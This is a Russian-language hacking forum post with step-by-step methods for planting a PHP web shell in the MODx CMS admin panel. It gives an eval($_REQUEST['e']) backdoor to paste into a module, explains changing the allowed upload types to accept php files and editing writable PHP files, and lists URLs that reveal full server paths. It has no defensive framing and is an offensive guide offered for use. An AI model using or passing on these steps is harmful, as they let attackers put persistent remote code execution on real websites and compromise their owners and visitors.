Показать сообщение отдельно

  #490  
Старый 06.01.2012, 10:50
Ereee
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
Провел на форуме:
102354

Репутация: 267


По умолчанию

Заливка шелла в MODx

Заливка шелла в MODx(тестил на 1.0.5)

1-вариант. Через модуль Doc Manager(можно любой другой или создать свой, юзал Opera):

1) Админка(http://site/manager/) => Сайт => Модули => Doc Manager => В поле "Код модуля(php)" вставляем:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'e'[/COLOR][COLOR="#007700"]])) eval([/COLOR][COLOR="#0000BB"]stripslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'e'[/COLOR][COLOR="#007700"]]));[/COLOR][/COLOR
Сохраняем.

2) Идем:

Админка => Модули => Doc manager(жмите на него колесиком[mouse3])

Открывается новое окно "Менеджер ресурсов". Скопируте адресную строку(http://site/manager/index.php?a=112&id=1).

Жмем Ctrl+U, в самый верх пишем:

Код:
ЖМИ
Применяем изменения. Видим огромную ссылку "ЖМИ", жмем и видим phpinfo();. Если не менять исходник, ругается двиг, типа Anti-CSRF.

2-вариант. Банально:

1) Идем:

Админка > Инструменты => Конфигурация => Файл-менеджер

В поле "Разрешенные к загрузке файлы" через запятую добавляем php.

2) Идем:

Админка => Элементы => Управление файлами => Внизу "Обзор" => Льем шелл в любую папку.

3-вариант. Редактируем прямо из админки php-файлы(если права есть):

1) Идем:

Админка => Элементы => Управление файлами

Видим файлы, рядом с доступной для записи файлов есть зеленая галка, жмем. Появится поле, вставляем код, жмем "Сохранить".

Шелл доступен по адресу http://site.ltd/redaktirovanyi_file.php

---

Раскрытие пути(тестил на 1.0.5)

Код:
http://site/assets/cache/siteCache.idx.php
http://site/assets/plugins/managermanager/example.mm_rules.inc.php
http://site/assets/plugins/managermanager/default.mm_rules.inc.php
http://site/assets/plugins/managermanager/mm.inc.php
etc.
 
Ответить с цитированием